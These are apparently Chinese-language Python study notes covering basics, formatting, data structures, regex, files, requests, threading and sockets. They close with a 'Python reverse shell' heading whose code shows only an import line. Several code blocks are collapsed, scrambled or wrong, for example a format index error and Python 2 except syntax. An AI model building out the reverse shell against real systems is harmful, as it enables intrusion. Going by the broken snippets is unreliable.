前言
Python提供了高效的高级数据结构,还能简单有效地面向对象编程,由于Python语言的简洁性、易读性以及可扩展性,以及解释型语言的本质,使其成为脚本的首选语言
基础语法
在python中,**
表示幂运算,只需要在两数之间用上**
,就表明这两个数字进行乘方运算;其中第一操作数为底数,第二个操作数则为指数。例如2**3
可表示2的三次方,结果为8
处理异常
try:
<语句> #运行的代码
except <名字>:
<语句> #如果在try部份引发了’name’异常
except <名字>,<数据>:
<语句> #如果引发了’name’异常,获得附加的数据
else:
<语句> #如果没有异常发生
注释
#
单行注释
1 | ''' |
输入,输出
输出
普通输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20#多行输出
print("""
1
""")
#字符串的输出
s="你是sb吗?"
# 0 1 234 5
# -2-1
print(s[-1]) #-1从结尾开始,方向相反
print(s[0:6:2])#起始位置:上限:步长,且方向为正方向
#一次输出多个值
print ('当前字母为 :', letter,'当前变量值为 :', var)
#f 转化
a = 'apple'
print(f'这里有{a}')
>>>这里有appleformat格式输出
1
2
3
4
5
6print("{}+{}={}".format(i,j,i+j),end=" ")#end默认为\n
print("{0}+{1}={3}".format(i,j,i+j),end=" ")
print("{:.2f}F".format(F))
print("{:x<4d}F".format(10))#10xx
print()#只输出换行通过%实现格式输出
1
2
3
4
5
6
7
8
9
10
1124 price =
"banana" item =
print("The %s costs %d cents" % (item, price))
The banana costs 24 cents
print("The %+10s costs %10.2f cents" % (item, price))#+右对齐,-左对齐
The banana costs 24.00 cents
"item":"banana", "cost":24} itemdict = {
print("The %(item)s costs %(cost)7.1f cents" % itemdict)
The banana costs 24.0 cents
>>>
输入
1
2
3
4str = input("请输入:");
import sys
#从标准输入读取一行
line = sys.stdin.readline().strip()#它返回的是原始字符串,包括换行符(\n),因此通常需要使用 strip() 方法来去除换行符
数据结构
bytes
1 | type(b'\xe4\xba\xba\xe7\x94\x9f\xe8\x8b\xa6\xe7\x9f\xad\xef\xbc\x8c\xe6\x88\x91\xe7\x94\xa8Python!') |
int
1 | #int goto char |
字符串
1 | str.isalpha()#检测字符串是否只由字母组成 |
列表(访问列表中的值时与字符串类似)
1 | #1.string转list |
sort 与 sorted 区别:
sort 是应用在 list 上的方法,sorted 可以对所有可迭代的对象进行排序操作。
list 的 sort 方法返回的是对已经存在的列表进行操作,无返回值,而内建函数 sorted 方法返回的是一个新的 list,而不是在原来的基础上进行的操作。
元组(tuple)
元组与列表的区别在与元组中的元素值是不允许修改,删除,添加的,但我们可以对元组进行连接组合list(seq)
可将元组转换为列表tuple = ("a", "b", "c")
注意直接采用{},即s={}默认生成一个空字典;用s = set()创建一个空集合
字典(dict)
d = {key1 : value1, key2 : value2, key3 : value3 }
字典是一个无序、可变和有索引的集合,键必须是唯一的,但值则不必,值可以取任何数据类型,但键必须是不可变的,如字符串,数字。
1 | for i in dishes:#可以直接遍历键 |
添加,访问项目
通过使用新的索引键并为其赋值,可以将项目添加到字典中:thisdict["disappear"] = "s"
get(key) 方法在 key(键)不在字典中时,可以返回默认值 None 或者设置的默认值。
1 | # 没有设置 Sex,也没有设置默认的值,输出 None |
dict[key] 在 key(键)不在字典中时,会触发 KeyError 异常。
集合
parame = {value01,value02,...}
集合(set)是一个无序的不重复元素序列。
- 使用 add() 方法向 set 添加项目:
s.add( x )
- 集合去重set(x)
python查询
Python正则表达式(re模块)
re.search
re.search(pattern, string, flags=0)
re.search 扫描整个字符串并返回第一个成功的匹配,匹配成功re.search方法返回一个匹配的对象,否则返回None。
flag:
re.I 忽略大小写
re.L 表示特殊字符集 \w, \W, \b, \B, \s, \S 依赖于当前环境
re.M 多行模式
re.S 即为 . 并且包括换行符在内的任意字符(. 不包括换行符)
re.U 表示特殊字符集 \w, \W, \b, \B, \d, \D, \s, \S 依赖于 Unicode 字符属性数据库
re.X 为了增加可读性,忽略空格和 # 后面的注释1
2
3
4
5
6
7
8
9
10
11line = "Cats are smarter than dogs"
searchObj = re.search( r'(.*) are (.*?) .*', line, re.M|re.I)
#grout文本属性,span位置属性
print ("searchObj.group() : ", searchObj.group()) #Cats are smarter than dogs
print ("searchObj.group(1) : ", searchObj.group(1)) #Cats
print ("searchObj.group(2) : ", searchObj.group(2)) #smarter
print(re.search('www', 'www.runoob.com').span()) #(0, 3)
print(re.search('com', 'www.runoob.com').span()) #(11, 14)re.findall
re.findall(pattern, string, flags=0)
在字符串中找到正则表达式所匹配的所有子串,并返回一个列表,如果有多个匹配模式,则返回元组列表,如果没有找到匹配的,则返回空列表。result=re.findall(r'\w*?\d+|\w+|[\x21-\x2f]|[\x3A-\x40]',lines)#按照顺序匹配
str1=re.findall(r'\w{4}',str)
re.sub
re.sub(pattern, repl, string, count=0, flags=0)
替换字符串中的匹配项lines=re.sub(r'\\n\(\*.*?\*\)\\n','', lines)#去除注释
python文件
普通文本文件的读写
打开文件流
1 | f=open(file='文件路径',mode='文件的操作方式',encoding='utf-8') |
r 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。
w 打开一个文件只用于写入。如果该文件已存在则覆盖该文件,即原有内容会被删除。如果该文件不存在,创建新文件。
a 以追加的方式写,如果该文件不存在,创建新文件。
r+ 在‘r’功能的基础上写
w+ 在‘w’功能的基础上读
wb+ 以二进制的形式写
read
f.read(size)
读取一定大小的数据, 然后作为字符串或字节对象返回f.readlines()
将文件中所有的行,一行一行全部读入一个列表内,按顺序一个一个作为列表的元素,并返回列表。readlines方法会一次性将文件全部读入内存,所以也存在一定的弊端。但是它有个好处,每行都保存在列表里,可随意存取。
write
join():可以将序列(也就是字符串、元组、列表、字典)中的元素以指定的字符连接生成一个新的字符串,
a=[‘I’,’love’,’China’,’!’]
f.write(‘\n’.join(a))f.write(text)
使用write()可以完成向文件写入数据。f.writelines(['','',''])
读取多段写入文本,需手动换行
csv文件的读写
1 | #一次性写入多行 |
文件操作
- 使用os模块
- 删除文件
1
2
3
4
5
6# 要删除的文件名
filename1 = "1_msg1.txt"
filename2 = "1_msg2.txt"
# 删除文件
os.remove(filename1)
os.remove(filename2)
python request
get
1 | # http代理,需要指定访问的http协议和https协议两种 |
post
1 | data = {"upload":"Submit"}#值得注意的是,使用字典作为参数时,requests.post 方法默认会对请求参数进行 URL 编码 |
python 多线程
适用场景
I/O 密集型任务: 例如网络请求、文件操作等,适合使用多线程。
CPU 密集型任务: 对于 CPU 密集型任务,考虑使用多进程( multiprocessing 模块),因为 GIL 限制了线程的并发性。
1 | t1=threading.Thread(target=product,args=('wpp',)) |
queue
1 | q=queue.Queue(maxsize=0)#初始化,如果 maxsize 设置为小于或等于零,则队列的长度没有限制 |
python socket 网络编程
服务端流程
1 | import socket |
客户端流程
1 | import socket |
python反弹shell
1 | import os,socket,subprocess; |